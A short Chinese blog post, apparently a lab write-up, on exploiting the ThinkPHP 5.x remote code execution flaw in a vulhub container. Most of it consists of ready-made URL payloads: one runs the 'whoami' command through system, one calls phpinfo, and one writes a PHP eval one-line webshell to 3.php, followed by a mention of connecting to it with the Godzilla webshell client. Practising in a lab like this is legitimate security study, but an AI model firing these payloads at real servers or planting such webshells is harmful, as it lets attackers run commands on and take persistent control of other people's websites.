Thinkphp5x远程执行命令及getshell

一.环境配置

靶场:vulhub/thinkphp/5-rce

docker-compose up -d #启动环境

访问靶场:

漏洞利用:

漏洞根本源于 thinkphp/library/think/Request.php 中method⽅法可以进⾏变量覆盖,通 过覆盖类的核⼼属性filter导致rce,其攻击点较为多,有些还具有限制条件,另外由于种种部分 原因,在利⽤上会出现⼀些问题

远程命令执行:

POC:?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1] []=whoami

执行完如下图

远程代码执行:

POC:?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

如下图

写入一句话木马:

POC:?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval(\$_POST[cmd]);?>">>3.php

然后去访问我们的3.php 创建成功

哥斯拉连接:

相关推荐
Heris992 分钟前
2.22 c++练习【operator运算符重载、封装消息队列、封装信号灯集】
开发语言·c++
----云烟----4 分钟前
C/C++ 中 volatile 关键字详解
c语言·开发语言·c++
mjr12 分钟前
设计模式-Java
java·设计模式
零星_AagT16 分钟前
Apache-CC6链审计笔记
java·笔记·apache·代码审计
yuanpan23 分钟前
23种设计模式之《组合模式(Composite)》在c#中的应用及理解
开发语言·设计模式·c#·组合模式
程序员张327 分钟前
使用IDEA提交SpringBoot项目到Gitee上
java·gitee·intellij-idea
BanLul33 分钟前
进程与线程 (三)——线程间通信
c语言·开发语言·算法
十八朵郁金香38 分钟前
【JavaScript】深入理解模块化
开发语言·javascript·ecmascript
sunnyday042641 分钟前
MyBatis XML映射文件中的批量插入和更新
xml·java·mysql·mybatis
Hello.Reader1 小时前
深入理解 Rust 的 `Rc<T>`:实现多所有权的智能指针
开发语言·后端·rust